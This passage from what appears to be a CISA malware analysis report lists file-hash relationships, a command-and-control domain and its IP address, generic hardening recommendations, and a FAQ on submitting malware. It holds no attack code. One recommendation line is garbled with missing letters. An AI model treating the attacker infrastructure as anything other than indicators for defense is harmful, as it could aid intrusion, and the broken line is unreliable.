Browser. Activity logs are created on a daily basis and are stored in the path C:\Users\<user>\AppData\Roaming\S3Browser\logs in the format
's3browser-win32-YYYY-MM-DD-log.txt'.

Screenshots


-----

**Figure 5. -**

## Relationship Summary

a710f573f7... Created e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7

a710f573f7... Related_To 5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c

e4b67b8ffc... Created_By a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789

5608c12872... Related_To a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789

ccacf4658a... Used 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

4de1bd4b1b... Used dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291

4de1bd4b1b... Used d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32

4de1bd4b1b... Used_By ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc

dec8655cdd... Used_By 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

dec8655cdd... Used_By c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd

d3d5e5a8a4... Used_By 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

c5a1dbb49f... Used bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e

c5a1dbb49f... Used dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291

a7f5097c0d... Related_To 911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886

a7f5097c0d... Related_To c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b

911a88fe16... Related_To a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa

c0a214a60d... Related_To a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa

bfc50bf40a... Connected_To feticost.com

bfc50bf40a... Used_By c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd

feticost.com Connected_From bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e

feticost.com Resolved_To 51.89.50.152

51.89.50.152 Resolved_To feticost.com

## Recommendations


-----

C S eco e ds t at use s a d ad st ato s co s de us g t e o o g best p act ces to st e gt e t e secu ty postu e o t e
organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid
unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group
unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the
file header).
Monitor users' web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST)
Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

## Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product
[at the following URL: https://us-cert.cisa.gov/forms/feedback/](https://us-cert.cisa.gov/forms/feedback/)

## Document FAQ

**What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In**
most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA
and provide information regarding the level of desired analysis.

**What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via**
manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired
analysis.

**Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document**
[should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.](mailto:CISAservicedesk@cisa.dhs.gov)

**Can I submit malware to CISA? Malware samples can be submitted via three methods:**

Web: [https://malware.us-cert.gov](https://malware.us-cert.gov/)
E-Mail: [submit@malware.us-cert.gov](mailto:submit@malware.us-cert.gov)
FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and
[phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.](http://www.cisa.gov/)


-----